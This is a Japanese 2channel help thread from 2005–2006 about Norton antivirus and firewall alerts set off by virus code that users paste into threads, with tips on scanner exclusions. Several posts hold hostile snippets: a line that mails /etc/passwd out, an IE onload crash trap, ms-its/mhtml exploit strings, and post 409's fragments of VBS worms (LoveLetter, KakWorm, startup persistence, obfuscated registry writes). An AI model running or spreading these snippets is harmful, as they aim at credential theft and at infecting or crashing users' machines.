ノートンがvbsウィルスのソースに誤反応３

1 名前：他のアンチウィルスソフトが反応する場合もあります mailto:sage [05/03/01 01:58:58 ID:???] 只今2chでvbsのウィルスのソースを貼りノートンなどのセキュリティツールを誤反応させるのが流行っています。 あまりにも質問スレなどで既出の（このvbsの）質問が多すぎるのでこのスレへURLを貼って誘導してください。 また新たなパターンのvbsが見つかったら一応このスレで報告願えると幸いです。 ■この問題について■ 2chのスレにvbsウィルスのソースを書き込むことによってブラウザがそのスレのhtmlファイルをダウンロードする際に ウィルスのパターンと一致するので、ウィルスが検出されたとノートン先生などが騒ぎます。（設定によっては反応しないこともありますが、全く問題ありません） ご存知の通り、htmlを読んでもこのvbsのソースは実行されることは無いので、全く問題ありません。 また、デフォルトだとIEはInternet Temporary Filesフォルダにhtmlをダウンロードしますので、感染ファイルはここのhtmlファイルにになります。 これらのファイルは削除しても全く問題ありませんが、該当スレを読み直すとまたvbsのソース付きhtmlがダウンロードされてしまうので警告が出ます。 ■まとめと対策■ ２ちゃんねる見ていたらvbsウィルスが検出された！ info.2ch.net/wiki/pukiwiki.php?%A5%CE%A1%BC%A5%C8%A5%F3%C6%FE%A4%EC%A4%BF%A4%E9%A3%B2ch%A4%CB%BD%F1%A4%AD%A4%B3%A4%E1%A4%CA%A4%A4%BF%CD%A4%D8#faq12 2ちゃんねる専用ブラウザでノートンを使うと今まで取得したログが抹消されてしまい、スレを再表示した時全てが新しいレスになってしまいます、どうすれば解決できるでしょうか？ info.2ch.net/wiki/pukiwiki.php?%A5%CE%A1%BC%A5%C8%A5%F3%C6%FE%A4%EC%A4%BF%A4%E9%A3%B2ch%A4%CB%BD%F1%A4%AD%A4%B3%A4%E1%A4%CA%A4%A4%BF%CD%A4%D8#faq08 2chブラウザのログ保存フォルダを「除外」に設定。 NAV2003以降はNorton Anti Virusのオプションで手動スキャンとAuto-Protectでそれぞれ除外の指定をして下さい。 前スレ ノートンがvbsウィルスのソースに誤反応 pc.2ch.net/test/read.cgi/sec/1025872269/ ノートンがvbsウィルスのソースに誤反応２ pc5.2ch.net/test/read.cgi/pcqa/1033948204/ テンプレ>>1-10あたり 331 名前：ひよこ名無しさん mailto:sage [2005/10/29(土) 01:10:38 ID:???] NIS2005を使用しています Opera8.5で>>2にあるテスト用のttp://www.eicar.org/download/eicar.com.txtを踏んでみたのですがNAVが反応しません。 これはAutoProtectが正常に働いていないということなのでしょうか。 試しにローカルにDLしてみてスキャンをかけてみると、ウィルスだと反応して削除します。 332 名前：ひよこ名無しさん mailto:sage [2005/10/29(土) 11:43:26 ID:???] >>331ですが、解決できました。 「オプション」→「NortonAntiVirus」→「AutoProtect」にて、 「SmartScanを使ってファイルをスキャン」にチェックが入っていたのを「完全ファイルスキャン」に変更したら反応しました。 拡張子.txtがAutoProtectの対象になってなかったってことなんですね……。失礼しました。 333 名前：ひよこ名無しさん mailto:sage [2005/10/31(月) 21:20:51 ID:???] 反応しちゃった場合は放置しといても大丈夫なの？ 334 名前：ひよこ名無しさん mailto:sage [2005/11/01(火) 03:53:50 ID:???] 勝手に修復したり隔離したりする設定になってると、困ることもある。特に2ch専用ブラウザ使ってる場合。 335 名前：ひよこ名無しさん mailto:sage [2005/11/05(土) 23:27:57 ID:???] これか cat /etc/passwd | mail nobody 336 名前：ひよこ名無しさん mailto:sage [2005/11/06(日) 10:55:05 ID:???] 何もノートンが誤反応しているわけではありません。 VBScriptやJavaScriptの拡張子のファイルに反応すべきなのを、 どの拡張子にでも誇大反応するだけです。 WindowsUpdateは、常に最新の状態に心がける事。 SunのJavaをインストールしている人は、これも最新版に更新しておく事。 RealPlayerやAdobe Readerなども最新にしておかないと、ウィルスに感染しますよ。 これらを心がけて最新状態にしてあれば、ウィルス反応があってもシステムにはもう感染はしません。 過去のWindowsのセキュリティホールを攻撃するアクティブスクリプトに反応しているだけですから、無視して結構です。 ページをプレビューしただけで反応するようなウィルスは、ほとんど全部がもはや検出する必要がないものです。 セキュリティベンダーなどに騙されてはいけませんよ。 337 名前：ひよこ名無しさん mailto:sage [2005/11/13(日) 13:25:01 ID:???] cenの部屋の管理人さんへ、 誤反応スクリプト無効化ソフト　vicptdel　ですが、 VBS Freelink.Bにも対応してもらえないでしょうか？ またサイトトップには、updateの表示だけでなく、update日付やVerも 記載していただけたら嬉しいです。ご検討よろしくお願いします。 cenの部屋 www.geocities.jp/cen_hp/ 338 名前：ひよこ名無しさん mailto:sage [2005/11/13(日) 13:39:48 ID:???] ラウンジ開いたらブラッドハウンドに感染したみたいなんですが解決法がいまいちよく解りません… 339 名前：ひよこ名無しさん mailto:sage [2005/11/14(月) 11:37:29 ID:???] Vipのｽﾚ一覧でも反応するっぽいけど誤検出なんだろねえ… 340 名前：ひよこ名無しさん mailto:sage [2005/11/14(月) 16:31:14 ID:???] うん 341 名前：ひよこ名無しさん mailto:sage [2005/11/17(木) 11:59:50 ID:???] Bloodhound.Exploit.6ってなんてコードで引っ掛かってるですか？ ＮＧワード指定したいんで教えてください 342 名前：ひよこ名無しさん mailto:sage [2005/11/17(木) 13:38:30 ID:???] 専用ブラウザでNGワード指定しても2chの鯖から取得して保存されるデータは同じなので無意味。 Proxomitronとかでフィルタリングするなら別だが。 それより素直にノートンの除外設定すべき。 343 名前：cen ◆Pm9xOTJuM. mailto:sage [2005/11/18(金) 00:43:33 ID:???] >>337 ご意見ありがとうです。 VBS.Freelink.Bですが、パターンは１つですが対応はしていますよ。 対応していないパターンかもしれないので、もしよかったら誤反応した スレを教えて頂けないでしょうか。 そうですね。日付とバージョンはまた書いときますです。 344 名前：ひよこ名無しさん mailto:ms-its:mhtml:file://c:\ sage [2005/11/20(日) 16:39:13 ID:???] ほう 345 名前：ひよこ名無しさん mailto:sage [2005/11/20(日) 21:02:09 ID:???] >>343 Winny一般コミック part144 tmp4.2ch.net/test/read.cgi/download/1110070134/5 上記のレスです。 dat落ちしてますので、以下を参照してください。 makimo.to/2ch/tmp4_download/1110/1110070134.html 346 名前：cen ◆Pm9xOTJuM. mailto:sage [2005/11/20(日) 22:07:13 ID:???] >>345 見てみました。そこの>>5からdatファイルを作って試しましたが、 無効化して、ウイルス対策ソフトでスキャンしても反応しませんでした よ。 あと、このソフトで対応しているのは、2chにあるdatファイルのみです。 例：pc7.2ch.net/pcqa/dat/xxxxxxxxxx.dat 壺のdatやhtmlには対応していないです。 347 名前：cen ◆Pm9xOTJuM. mailto:sage [2005/11/22(火) 02:12:37 ID:???] >>17 のソフトの紹介ページを更新しましたです。 www.geocities.jp/cen_hp/program3.html 348 名前：ひよこ名無しさん [2005/11/25(金) 13:41:31 ID:73+tCVDU] ウィルスが検出されんだけどどうすりゃいいの？ 349 名前：ひよこ名無しさん mailto:sage [2005/11/25(金) 14:39:57 ID:???] 恐れず全力で戦え 350 名前：ひよこ名無しさん mailto:age [2005/11/25(金) 17:03:37 ID:???] 保守 351 名前：ひよこ名無しさん mailto:sage [2005/11/28(月) 08:08:31 ID:???] game10.2ch.net/test/read.cgi/handygame/1133109700/ このスレを読み込もうとすると、ノートン先生が 206.223.150.115からのアタックを検出して 途中までしか読み込めなくなります。 手動スキャンとAuto-Protectでlogフォルダの 除外の設定はしたんだけどまだダメっぽい。 OSはWinXP, ノートン先生はNAV2003, 専ブラはLive2chです。 たっけてー。 352 名前：ひよこ名無しさん mailto:sage [2005/11/28(月) 08:36:32 ID:???] <body onload=window()> 353 名前：ひよこ名無しさん mailto:sage [2005/11/28(月) 08:42:51 ID:???] >>351 NAVですか？　インターネットセキュリティじゃなくて？ スレみたら、Nortonスレで昨日話題になったonloadなんちゃらのトラップを確認しました。 これはフォルダの除外設定では対応できなかったと思います。 NIS使ってるなら、NISを無効にして再取得を。 >>352 あーバカが貼りやがったよorz 354 名前：ひよこ名無しさん mailto:sage [2005/11/28(月) 08:54:07 ID:???] >>353 あ、NISでした。勘違いsorry。 無効→再取得してトラップっぽいレス（>>499と>>543） 2個あぼ〜んにしました。 これだけで問題ないですか？ 355 名前：ひよこ名無しさん mailto:sage [2005/11/28(月) 09:01:10 ID:???] >>354 あぼーんの意味はありません。一度取得すれば問題ありません。 ただし、新規に貼られたら、NGワードに指定してあぼーん（または透明あぼーん）しても引っかかります。 現状での対処法としては ○引っかかったときにNISを切って再取得をする対処療法 ○侵入検知の設定で、AutoBlockの除外項目に2chの鯖を登録する（穴をあけることになるので微妙ですが） くらいでしょうか。 Jane系なら、問題の文字列を別の文字列に置き換えればおｋ、という案もNortonスレで出てましたが Live2chでそれをやるのはちょっと手間なようです。 Live2chのスレでも少し話題になってますので、そちらも追っておくことをお勧めします。 356 名前：ひよこ名無しさん mailto:sage [2005/11/28(月) 10:58:13 ID:???] >>355 ご丁寧にどうもありがとうございます。 一度取得してしまえばそれでオワリなんですね。 Live2chのスレ探して見てみます。 357 名前：ひよこ名無しさん mailto:sage [2005/11/28(月) 14:10:20 ID:???] >>355 ＞Jane系なら、問題の文字列を別の文字列に置き換えればおｋ、という案もNortonスレで出てましたが 誘導もしくは詳しくお願いします。 358 名前：ひよこ名無しさん mailto:sage [2005/11/28(月) 14:42:24 ID:???] >>357 <ここ数日2chを騒がせている侵入検知トラップの対策法> 症状： Norton Internet Securityを使用している人で、特定の文字列を書かれると侵入検知が多発し 最短30分間そのアドレスがNISにより規制されるためログが読めなくなる。 対策：上に行くほどおすすめ �@Jane系の専用ブラウザ使ってる場合 JaneフォルダにReplaceStr.txtというテキストファイルを作り onload＝[Tab]onload＝ みたいに置き換えればOK（↑の”[Tab]”はタブ入力） Tabキーを押すのを忘れて[Tab]onloadとそのまま書いてはダメ �AReplace法が使えない場合(他の専用ブラウザ、IEなど) Nortonの統計ログの侵入検知の項目を見て、ブロックされているサーバ名を確認(例:tmp5.2ch.net) 侵入検知の設定で除外に上で確認したサーバ名を入れる ただしこの方法は穴を作ることになるのであまりおすすめではない �Bよくわかんね、って人 読み書きするときに「Norton Internet Securityを無効にする」を選んで一時的にNISを切る。 このときAuto-Protectを切っても無意味なので注意。Auto-ProtectはAntivirusなので。 ガセビアの沼 ・Love-letterと同じVB使った疑似ウイルスだからNAVの除外設定に専用ブラウザのログフォルダを入れてやればいい、というのはガセ 　今回のはNAVではなくNIS管轄のトラップです Nortonスレはこちら。 ただし、問題の起こる文字列が貼られているので、読み込むときには上記対策のいずれかを行ってください。 【ﾉｰﾄﾝ】ｲﾝﾀｰﾈｯﾄｾｷｭﾘﾃｨ Ver.77【2006】 pc8.2ch.net/test/read.cgi/sec/1132279196/ 359 名前：ひよこ名無しさん mailto:<body onload=window()> [2005/11/28(月) 14:57:54 ID:???] (笑) 360 名前：ひよこ名無しさん mailto:sage [2005/11/28(月) 17:12:55 ID:???] www.computerterrorism.com/research/ie/poc.htm# www.computerterrorism.com/research/ie/fillmem.htm www.computerterrorism.com/research/ie/bug.htm 361 名前：ひよこ名無しさん mailto:sage [2005/11/28(月) 17:30:40 ID:???] >>358 それガセらしいじゃないか・・・ ｡ﾟ(ﾟ´Д｀ﾟ)゜｡ｳｧｧｧﾝ 362 名前：ひよこ名無しさん mailto:sage [2005/11/28(月) 17:33:17 ID:???] >>361 あーはいはい。 1. [ファイアウォール]をダブルクリック 2. [ネットワーク]をクリック 3. [信頼]をクリック 4. [追加]をクリック 5. [範囲を使う]をチェック 6. 開始アドレスに「206.223.147.0」を入力、終了アドレスに「206.223.154.255」してOKをクリック 363 名前：eip = eip + unescape("%u7030%u4300") mailto:"<body onload=window();>" [2005/11/28(月) 19:44:46 ID:???] www.computerterrorism.com/research/ie/poc.htm# www.computerterrorism.com/research/ie/fillmem.htm www.computerterrorism.com/research/ie/bug.htm 364 名前：ひよこ名無しさん mailto:sage [2005/11/28(月) 20:55:42 ID:???] ms-its:mhtml:file://c:\ 365 名前：名無しさん＠お腹いぱーい。 mailto:sage [2005/11/29(火) 00:32:03 ID:??? BE:2515744-##] とりあえずKnowledge Base 経由で>>352のソースをﾂﾏﾝﾃｯｸに送って対応を催促しますた。 366 名前：ひよこ名無しさん mailto:sage [2005/11/29(火) 00:54:38 ID:???] 馬鹿だなノートン。 367 名前：ひよこ名無しさん mailto:sage [2005/11/29(火) 10:34:17 ID:???] ノートンの誤作動対策したら、 スクリプトを仕組んでるスレみると、変に改行されてしまう（\r\n\r\n)のはなぜ？ 368 名前：名無しさん＠お腹いぱーい。 mailto:sage [2005/11/29(火) 12:44:31 ID:??? BE:1415333-##] >>367 >>362の設定ですか？ 2ちゃんねるブラウザでの不具合は お使いの2ちゃんねるブラウザのスレで環境を詳しく書いてお聞きください。 369 名前：cen ◆Pm9xOTJuM. mailto:sage [2005/11/30(水) 00:10:23 ID:???] >>352について、役に立つかは知らないですが、>>17のソフトにて 対応させてみました。 www.geocities.jp/cen_hp/program3.html 370 名前：ひよこ名無しさん [2005/12/11(日) 18:48:05 ID:J4cBBOMR] 【アメリカ】全米各地で中国系中心に「アジア人」生徒へのいじめが増加…問題の根深く news19.2ch.net/test/read.cgi/newsplus/1134279288/ 371 名前：名無しさん＠お腹いぱーい。 mailto:sage [2005/12/12(月) 00:37:26 ID:??? BE:1257942-##] 現在、2ちゃんねるではNIS(NPF)のファイアーウォールを誤作動させるコードの書き込みが出回っています。 アンチウイルス(NAV)は反応しないのでファイアーウォールの設定を見直さなければなりませんがあくまで暫定的処置です。 ２chNIS問題まとめページ mickey.mirv.net/2chnis.html ノートン応急対策 info.2ch.net/wiki/pukiwiki.php?%CA%E4%C2%AD%A4%C8%CA%E4%B4%B0#Norton_Emergency_measures ansitu.xrea.jp/guidance/?NortonInternetSecurity#Emergency_measures ansitu.xrea.jp/guidance/?Trap#Emergency_measures wiki.livedoor.jp/kizyo1234/d/%a5%ce%a1%bc%a5%c8%a5%f3%b4%d8%cf%a2 この場合2ちゃんねるに対してファイアーウォールの機能は働きません。 また、同様なコードが2ちゃんねるではない外部板に貼られていても上記ページのような設定はお勧めしません。 シマンテックの対応待ちです。 アンチウイルス(NAV)の設定は>>1 ansitu.xrea.jp/guidance/?Trap#NortonTrap 372 名前：ひよこ名無しさん [2005/12/12(月) 23:03:17 ID:TJ/QcL4e] <body onload=windowあ()>　ms-its:mhtml:fileあ://c:\ ↑ひらがな抜いて書き込みすると誤作動します。 誤作動うざい。 373 名前：ひよこ名無しさん mailto:sage [2005/12/12(月) 23:14:43 ID:???] doredore, <body onload=window()>　ms-its:mhtml:file://c:\ 374 名前：ひよこ名無しさん mailto:sage [2005/12/13(火) 00:32:45 ID:???] i|!| |i┏┓! i!┏┳┓| |||i|!i| ||!i|| |||ii| ||| ||| |i||!|i│i!┏┓i!| |i|┏┛┗━╋┻┛|i!||!|ii|| i|!i||i|┏━┓ ┏┓i|i| i┃┃i!| i||┗┓┏┓┃||i┏━━━━┓┗━┛ ┃┃|i||!i┃┃i!| |i |!|i┃┃┃┃i||┗━━━━┛|i|| || ||||!┃┃i|i| i┗┛!i| i||i ||┃┃┃┃|! |||i ||i　　　　!|||!|┏━━┛┃|i||!i┏┓i|! |i!i |!┗┛┗┛i|!i|　 / |　　　/ |　┗━━━┛i|i| i┗┛i!| i| |||i|!i| ||!|i||i!　　　/,_ ┴─/　ヽ　 　 　 |!i| ||| |i||!|i|i|||| ||i |i|| ||i!i||　　　　　（_゜.,》.'(_゜,》)ﾐ ヽ　　　　　 　! | |!i||!|ii||!|ii| i|ii　　　　　　　 / ,,_＿,ニ、、 ﾉ( |　　　　　　　　　　　i|i!|i| |i　　　　　　　　|　Y~~/~y} ｀,　~ |　 そ、そんなー… 　 |i !.　　　　　 　 　 | ,k.,.,!,.,.,r|　,!　 く　　 　 　 　 　 　 　 　 .! i　　　　　　　 ／ <ニニニ'ノ 　 　＼　　 　 　 　 　 　 　 ｌ 375 名前：ひよこ名無しさん [2005/12/14(水) 08:34:01 ID:9z0oGE5T BE:229219294-#] てｔ 376 名前：ひよこ名無しさん mailto:sage [2005/12/16(金) 07:08:09 ID:???] vicptdelで処理した後、久々にNAVでJaneのlogをスキャンしてみたら、 以下のレスがvicptdelで処理されていなかったらしく、NAVに削除されました。 ttp://tmp5.2ch.net/test/read.cgi/download/1133670032/11 ttp://makimo.to/2ch/tmp5_download/1133/1133670032.html#11 cenさんもしよろしければ、対応お願いします。 またスレタイがウィルスコードだったのか分かりませんが、subject.txtに 以下のUnix Penguinが入っていましたが、datだけでなく、 vicptdelでsubject.txt等も対応できないでしょうか？ caXt /etc/paXsswd | mail noXbody　(Xを削除) 377 名前：cen ◆Pm9xOTJuM. mailto:sage [2005/12/18(日) 00:49:25 ID:???] >>376 そのスレの11ですが、そのパターンは対応していますよ。 手で11のdatを作って、スキャンしたら無効化されました。 デフォルトだとスキャンする時から10日前以降に更新されたdat ファイルのみスキャンする設定なので、すべてのdatファイルを スキャンする設定でしてみてください。 あと、subject.txtは専用ブラウザで板を見るときに常に更新するもの だと思いますので、無効化しても効果がないので、スキャンはしない です。 378 名前：ひよこ名無しさん [2005/12/22(木) 17:14:31 ID:Y2IitcnV] ノートンインターネット2006を入れたのですが、初心者の質問の板が 見れたり見れなかったりします。見れてもウィルス反応がでてしまう のですが、2006の設定を教えて下さい。 お願いします。 379 名前：ひよこ名無しさん mailto:sage [2005/12/22(木) 17:23:38 ID:???] >>378 ノートンを切る それだけ 380 名前：ひよこ名無しさん [2005/12/22(木) 19:21:21 ID:Z1b4rF6D] NIS2006を入れたんですが、誤反応しません。 設定が悪くセキュリティが甘くなってるのでしょうか？ 381 名前：ひよこ名無しさん mailto:sage [2005/12/22(木) 19:37:59 ID:???] >>380 割れてます。 382 名前：ひよこ名無しさん mailto:380 [2005/12/22(木) 20:22:37 ID:???] >>381 普通にLiveUpdateとかできるのに…いや、それより何故割れてるって解るんでしょうか？ 383 名前：ひよこ名無しさん mailto:sage [2005/12/22(木) 20:23:54 ID:???] >>382 (((((((( ；ﾟДﾟ)))))))ｶﾞｸｶﾞｸﾌﾞﾙﾌﾞﾙ 384 名前：ひよこ名無しさん mailto:age [2005/12/23(金) 00:52:52 ID:???] 　　 　 　 　 .l l ＼| |　！ノートン先生　！　／/U　ヽ＿＿＿/ パソコン蛾人　　＼　！！大激怒！！　／／　　　U　　　　:::U: ぶっ壊れ（＿_） 　　＼　！！！！！　／　/／ ＿__　　　＼　　::: たお！　（＿＿） 　　　＼∧∧∧∧／　　 |　　|　　 |　　　　U :::: 　　　　 （`Д´＃）　　　＜　ぶ パ　＞　　　|U　|　　　|　　　　　::U: 　　 ＿|￣￣||＿）＿　＜　　っ　ソ ＞　　　 |　├―-┤　U.....:::: 　／旦|――||/／ ／|　＜　壊 コ　＞　　　　ヽ　　　　　.....::::::::: ─────────＜　れ ン　＞────────── <　　 ＿,ノ , 、ヽ､＿　ノ＜　た　蛾＞　　ﾌﾟｽﾌﾟｽﾌﾟｽ･･・・・∬∬ 　（y○'）｀ヽ) ( ´（y○'）＜　 !!! 　　＞踏んじゃったよぉ＿＿＿ 　　⌒　/　　　　ヽ⌒　／∨∨∨∨＼　　　∧＿∧　　|｜＼　　 うわあ |~￣￣~.|ぁぁ／パソコン蛾ぶ ＼　（ ；´Д｀）　 |｜　｜ ぁぁ|　|||! i: |||! !|ぁ／っ壊れた！ディス　＼（　　つ／￣|｜／ ぁぁ| |||| !! !!||| :|／プレイが砕け散った！ ＼ヽ　|二二二」 385 名前：ひよこ名無しさん [2005/12/26(月) 23:44:59 ID:JAAmlww2] life7.2ch.net/test/read.cgi/kankon/1134376159/ このスレにアクセスしたらウイルスが検出されます。 どうしたらいいですか？ 386 名前：ひよこ名無しさん mailto:sage [2005/12/26(月) 23:46:05 ID:???] >>385 このスレを一通り読んでから質問しろよ情報乞食 387 名前：ひよこ名無しさん mailto:sage [2005/12/26(月) 23:48:53 ID:???] >>385 何でそうやってすぐに聞こうとするの？ まともな日本語能力と社会的常識を持っていれば ちょっと調べれば、ちょっと読めば解決するのに 388 名前：ひよこ名無しさん [2005/12/26(月) 23:54:34 ID:TT8kYPqv] ttp://210.150.222.13/cgi-bin/imgbbs01/imgboard.cgi の掲示板に貼られている空白？の画像はスパイウェアー だと他の利用者が知らせてくれたのですが、 もしかしたらクリックしてしまったたかもしれません スパイウェアーというのは感染するとどうなってしまうのでしょうか？ 怖いので今日中に再フォーマットするつもりですが・・・ 389 名前：ひよこ名無しさん mailto:sage [2005/12/26(月) 23:58:53 ID:???] >>388 で、何故このスレで聞こうと思ったの？ 390 名前：ひよこ名無しさん mailto:sage [2005/12/26(月) 23:59:45 ID:???] 自称PC初心者はスレタイも読めない日本語初心者…っと。 391 名前：ひよこ名無しさん [2005/12/27(火) 00:04:42 ID:TZFt/HNg] >>389 あ、今、別のスレで教えてもらえました すいませんm(__)m 392 名前：ひよこ名無しさん mailto:sage [2005/12/27(火) 01:32:52 ID:???] >>388 踏んだ　踏んだ　どうにもならへん 内部で呼び出しているサーバーがお休みのようだ マカフィーさんも無反応 XP_SP2にとってはブラクラ以外の何物にもならない 393 名前：ひよこ名無しさん mailto:age [2006/01/05(木) 11:05:53 ID:???] じいさんのためにage 394 名前：ひよこ名無しさん mailto:sage [2006/01/09(月) 23:41:35 ID:???] バージョン 】　1.12 【 　スキン 　 】　default 【　　　IE　　　】　6.0.2900.2180 【　Windows　】　Windows XP Home Edition (Service Pack 2) 【　 不具合 　】　生活板がどのスレッドも見れません。 【詳しい内容 】　　ボードデータの更新をしても、スレッドの更新をしても、再インストールしても 見れません。ちなみに専用ブラウザを使用しなくても見れなくなってしまいました。 何が原因なのでしょうか…？ 395 名前：ひよこ名無しさん mailto:age [2006/01/10(火) 21:00:00 ID:???] >>394 ここに来たってことはノートン入れてるんでしょ？ 原因はノートン ついでに保守age 396 名前：ひよこ名無しさん mailto:sage [2006/01/11(水) 08:57:15 ID:???] ms-its:mhtml:file://c:\ 397 名前：ひよこ名無しさん mailto:sega [2006/01/15(日) 20:20:52 ID:???] 定期age 398 名前：ひよこ名無しさん mailto:sage [2006/01/22(日) 05:06:59 ID:???] すみません。色々やったけどギブですorz質問よろしいでしょうか… ■janeDoeα 0.1.12.2■ｘｐ■NIS２００４■>>1-9は読みました >>51>>56さんとややケースが似てるんですが… 最近ノートン２００４を再ｲﾝｽｺしたので、前と同じ方法（>>1）で また専ブラのlogフォルダを除外設定しました、が、何故か今度はどう設定やり直しても 下記のスレで先生に怒られます。 pc7.2ch.net/test/read.cgi/pcqa/1109609938/（このスレです…） pc8.2ch.net/test/read.cgi/hp/1135924815/ 警告メッセージのスクショ↓ ttp://vipquality.orz.hm/imageup/file/onz27560.jpg（このスレのです。これが2回でます） ttp://vipquality.orz.hm/imageup/file/onz27561.jpg（下のスレのです） で、何度設定しても駄目だったのでこのソフトを入れて、トラップの無効化を試みたんですけど ttp://www.geocities.jp/cen_hp/program3.html#use_____ やっぱり上記のスレで先生に怒られます。何回かこのソフト起動させてみたんですが 無効化成功してるよ。みたいなメッセージが出るだけで、依然として先生は怒りまくりだし もうどうしていいか分かりません。誰か助けて〜(つД`;) 399 名前：ひよこ名無しさん [2006/01/22(日) 05:20:54 ID:qJbbwLqx] トラックバック:etc3.2ch.net/test/read.cgi/qa/1137857523/ 400 名前：ぼるじょあ ◆yBEncckFOU mailto:sage [2006/01/22(日) 05:37:48 ID:???] >>398 （・３・）　エェー　そのソフトはdatは対策できるけど、subject.txtは 　　　　　　　　　　対策できないYO 401 名前：名無しさん＠お腹いぱーい。 mailto:sage [2006/01/22(日) 19:21:57 ID:???] >>398 今一度、Norton Anti Virusのオプションで 手動スキャンとAuto-Protectでlogフォルダの除外の指定をしているか確認してください。 該当スレに書き込んだ・該当スレをお気に入りに入れた・ウイルスコードを検索したりすると 幾つか除外の指定を増やすことになるのでご注意ください。 Janeの場合 Jane2ch\Logs Jane2ch\favorites.dat　 Jane2ch\kakikomi.txt Jane2ch\SearchHistory.txt ε三（; ･∀･）鯖ﾏﾃﾞｵﾂｶｲの場合 otsukai\result.dat 詳しくはお使いの2ちゃんねるブラウザのスレのテンプレや 2ちゃんねるブラウザのヘルプ 2ちゃんねるブラウザ配布サイト等のFAQなどを参照してください。 402 名前：名無しさん＠お腹いぱーい。 mailto:sage [2006/01/22(日) 19:46:59 ID:???] >>401補足 増えた項目の内、 Jane2ch\favorites.dat　 Jane2ch\kakikomi.txt otsukai\result.dat ↑はスレタイに反応した場合です。 403 名前：ひよこ名無しさん [2006/01/27(金) 17:56:55 ID:SL6Rf0+0] Live2chのフォルダごとNorton Anti Virus→除外に設定しても良いの？ 404 名前：ひよこ名無しさん [2006/01/28(土) 02:19:43 ID:W65BflbM] すみません、質問です。 昨日から携帯PHS板を見ていると、ノートンで何度も警告が出て、 WScript.KakWormってやつなんですけど、これは 「kak.hta';ken=wd+'START」ってスレタイがあるせいなのでしょうか？ 405 名前：404 mailto:sage [2006/01/28(土) 02:27:13 ID:???] すみません、テンプレ見ましたm(_ _)m 406 名前：名無しさん＠お腹いぱーい。 mailto:sage [2006/01/28(土) 20:16:04 ID:???] >>403 Logフォルダを除外に指定してね。 407 名前：ひよこ名無しさん [2006/01/31(火) 10:00:47 ID:nkcqfLth] 先程、他のスレッド見ていたら、ノートンの低危険度の表示が出てきて遮断をクリックしたら、あらゆるホームページが見れなくなりました。原因解るかた教えてください。宜しくお願いします。m(__)m 408 名前：ひよこ名無しさん mailto:sage [2006/01/31(火) 10:02:30 ID:???] >>407 誘導されたらそう書け それと普通>>1から読むもんだ 既知の質問を延々と繰り返し答えさせられるこっちの身にもなれ 409 名前：ひよこ名無しさん mailto:cat /etc/passwd | mail nobody [2006/01/31(火) 10:03:47 ID:???] これかな？ c.Copy(dirwin&"\Win32DLL.vbs") c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") <object data="ms-its:mhtml:file://C:\\MAIN.MHT!www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/ X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\" If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l" ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1) G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR")) lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93)) 　　 ms-its:mhtml:file://c:\　 kak.hta';ken=wd+'START End Sub <body onload=window()> 410 名前：ひよこ名無しさん [2006/01/31(火) 10:08:09 ID:nkcqfLth] >>408 はぁ？おめーから何も答えてもらってねーぞ。 解らねーんだったらいちいち出てくんじゃねぇよアフォ 411 名前：ひよこ名無しさん mailto:sage [2006/01/31(火) 10:10:37 ID:???] 言っておくけど、回答者はどこも共通だから 412 名前：ひよこ名無しさん mailto:sage [2006/01/31(火) 10:11:13 ID:???] i|!| |i┏┓! i!┏┳┓| |||i|!i| ||!i|| |||ii| ||| ||| |i||!|i│i!┏┓i!| |i|┏┛┗━╋┻┛|i!||!|ii|| i|!i||i|┏━┓ ┏┓i|i| i┃┃i!| i||┗┓┏┓┃||i┏━━━━┓┗━┛ ┃┃|i||!i┃┃i!| |i |!|i┃┃┃┃i||┗━━━━┛|i|| || ||||!┃┃i|i| i┗┛!i| i||i ||┃┃┃┃|! |||i ||i　　　　!|||!|┏━━┛┃|i||!i┏┓i|! |i!i |!┗┛┗┛i|!i|　 / |　　　/ |　┗━━━┛i|i| i┗┛i!| i| |||i|!i| ||!|i||i!　　　/,_ ┴─/　ヽ　 　 　 |!i| ||| |i||!|i|i|||| ||i |i|| ||i!i||　　　　　（_゜.,》.'(_゜,》)ﾐ ヽ　　　　　 　! | |!i||!|ii||!|ii| i|ii　　　　　　　 / ,,_＿,ニ、、 ﾉ( |　　　　　　　　　　　i|i!|i| |i　　　　　　　　|　Y~~/~y} ｀,　~ |　 そ、そんなー… 　 |i !.　　　　　 　 　 | ,k.,.,!,.,.,r|　,!　 く　　 　 　 　 　 　 　 　 .! i　　　　　　　 ／ <ニニニ'ノ 　 　＼　　 　 　 　 　 　 　 ｌ 413 名前：ひよこ名無しさん mailto:sage [2006/01/31(火) 10:12:28 ID:???] >>410 お前が礼言ってたコテな、テンプレに注意書きがあるくらいの要注意人物なんだよ 414 名前：ひよこ名無しさん mailto:sage [2006/01/31(火) 10:16:03 ID:???] >>410 ansitu.xrea.jp/guidance/?Trap#It_does_not_cry ここを読んでください 415 名前：ひよこ名無しさん mailto:sage [2006/01/31(火) 10:16:50 ID:???] >>410 この部分ね 2005年11月28日現在、2ちゃんねるではNIS(NPF)のファイアーウォールを誤作動させる コードの書き込みが出回っています。 アンチウイルス(NAV)は反応しないのでファイアーウォールの 設定を見直さなければなりませんがあくまで暫定的処置です。 NIS2005の場合(多分NIS2006も同じ) 416 名前：ひよこ名無しさん [2006/01/31(火) 10:16:58 ID:nkcqfLth] >>411 解りました。m(__)mではどこで聞いても答えは一緒って事ですね。お手数おかけしました。また何かありましたら宜しくお願いします。 417 名前：VIP＠命 ◆VIPPER/vT. [2006/01/31(火) 10:31:48 ID:nkcqfLth] あっ。ちなみにぼくは、愛新ではありません。 あしからず�� 418 名前：ひよこ名無しさん [2006/02/01(水) 13:48:25 ID:S10H/e1R] 時々ノートンインターネットセキュリティ2004を使用している際、 スレ、もしくは板そのものがサーバーに接続できなくて見ることができません。 アンチウィルスは常時つけていますが、切ってもつけていても見ることができるのですが この症状はアンチウィルスが反応している訳ではありません インターネットセキュリティをつけているときだけ見ることができないのですが なぜなんでしょうか？ もちろんインターネットセキュリティの2CHに書き込める為の設定をしてあります。 